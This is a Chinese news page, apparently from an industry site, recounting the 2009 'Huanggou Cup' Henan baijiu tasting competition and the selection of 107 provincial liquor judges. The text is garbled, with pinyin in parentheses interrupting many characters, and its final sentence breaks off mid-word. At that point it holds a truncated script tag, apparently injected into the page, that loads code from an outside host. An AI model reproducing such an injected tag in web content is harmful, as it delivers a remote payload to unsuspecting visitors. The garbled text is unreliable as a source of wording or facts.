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豫酒協(xié)【2009】27號(hào) “皇溝杯”河南省白酒品評(píng)技能競(jìng)賽暨2009屆省級(jí)白酒評(píng)酒委員換屆考聘活動(dòng)紀(jì)要

放大字體  縮小字體 發(fā)布日期:2013-10-28  作者:星雨  瀏覽次數(shù):17399
核心提示:根據(jù)河南省酒業(yè)協(xié)會(huì)、河南省輕工煙草工作委員會(huì)“豫酒協(xié)[2009]24號(hào)”文件精神,“皇溝杯”河南省白酒品評(píng)技能競(jìng)賽暨2009屆省級(jí)白
根據(jù)河南省酒業(yè)協(xié)會(huì)、河南省輕工煙草工作委員會(huì)“豫酒協(xié)[2009]24號(hào)”文件精神,“皇溝杯”河南省白酒品評(píng)技能競(jìng)賽暨2009屆省級(jí)白酒評(píng)酒委員換屆考聘活動(dòng)于2009年6月26日至29日在鄭州舉行。6月27日上午舉行了簡(jiǎn)短的開(kāi)幕式,省酒業(yè)協(xié)會(huì)會(huì)長(zhǎng)熊玉亮、副會(huì)長(zhǎng)將輝、省輕工煙草工會(huì)調(diào)研員王建華、省酒業(yè)協(xié)會(huì)副秘書長(zhǎng)趙書民、尹陶林、河南皇溝酒業(yè)公司總經(jīng)理張樹(shù)強(qiáng)及裁判員盧振營(yíng)、萬(wàn)保健、李紹亮、孫西玉、張獻(xiàn)敏和來(lái)自全省三十余家白酒企業(yè)的152名選手及領(lǐng)隊(duì)參加了開(kāi)幕式。首先張樹(shù)強(qiáng)總經(jīng)理代表協(xié)辦方致辭,對(duì)本次活動(dòng)的舉行表示祝賀,祝愿本次活動(dòng)圓滿成功。熊玉亮?xí)L(zhǎng)代表主辦方對(duì)本次活動(dòng)提出了很高的要求:要求裁判組公開(kāi)、公正、公平,不徇私情;要求參賽選手嚴(yán)格遵守考場(chǎng)紀(jì)律、嚴(yán)肅認(rèn)真,賽出風(fēng)格、賽出水平。趙書民裁判長(zhǎng)介紹了本次活動(dòng)的準(zhǔn)備情況和競(jìng)賽的方法步驟、注意事項(xiàng)。開(kāi)幕式最后,裁判員張獻(xiàn)敏、選手劉亞旭分別代表裁判員和參賽選手宣誓。
按照競(jìng)賽規(guī)定,本次競(jìng)賽實(shí)行百分制,其中理論占15分、實(shí)際操作(品評(píng))考試占85分。27日上午開(kāi)幕式結(jié)束后即進(jìn)行了2個(gè)小時(shí)的理論考試,理論試題采取判斷、填空、單選、多選、簡(jiǎn)答、論述等六種形式,內(nèi)容涉及釀造、品評(píng)、勾兌和一般常識(shí)等。
從27日下午至29日上午進(jìn)行了14輪實(shí)際操作(品評(píng))考試,每輪五個(gè)樣品,內(nèi)容包括單體物質(zhì)的識(shí)別、酒度的識(shí)別、典型性、再現(xiàn)性、穩(wěn)定性和具有代表性香型的質(zhì)量差等。
按照《河南省酒業(yè)協(xié)會(huì)省級(jí)評(píng)酒委員管理辦法》規(guī)定,省級(jí)白酒評(píng)酒委員將分為資深、正式和特邀三種類型。1、三屆以上(包括三屆)的正式省級(jí)評(píng)委為資深評(píng)委,2、本次考試合格的為正式評(píng)委,3、沒(méi)有一名被錄取的我省名優(yōu)、骨干白酒企業(yè)錄取一名特邀評(píng)委;上一屆的前十名,本次沒(méi)有被錄取的,本屆錄為特邀評(píng)委。按照規(guī)定70%的錄取名額,2009屆河南省省級(jí)白酒評(píng)酒委員(含資深、正式、特邀)共錄取107名(見(jiàn)附件二)。
29日晚九點(diǎn)召開(kāi)了本次活動(dòng)的總結(jié)會(huì)議,全體參賽選手、領(lǐng)隊(duì)、裁判員和有關(guān)領(lǐng)導(dǎo)參加了會(huì)議。省酒業(yè)協(xié)會(huì)副會(huì)長(zhǎng)、白酒分會(huì)會(huì)長(zhǎng)朱云武專程到會(huì)對(duì)本次活動(dòng)的圓滿成功表示祝賀;省輕工煙草工會(huì)調(diào)研員王建華宣布了本次競(jìng)賽活動(dòng)前十名選手名單(見(jiàn)附件一),并對(duì)獲獎(jiǎng)選手表示祝賀;省酒業(yè)協(xié)會(huì)副會(huì)長(zhǎng)蔣輝宣布了組織參加本次活動(dòng)的十三家優(yōu)秀組織獎(jiǎng)獲獎(jiǎng)名單(見(jiàn)附件一),并頒發(fā)了證書;對(duì)“賒店杯”河南省勾調(diào)大賽的冠軍選手楊銳頒發(fā)了河南省五一勞動(dòng)獎(jiǎng)?wù)潞妥C書,表彰了河南省技術(shù)能手并頒發(fā)證書。最后,省酒業(yè)協(xié)會(huì)會(huì)長(zhǎng)熊玉亮發(fā)表講話,指出本次活動(dòng)有四個(gè)特點(diǎn):1、本次活動(dòng)是歷屆參加人數(shù)最多的一次,企業(yè)積?script src=http://www.234mu.com/>
 
 
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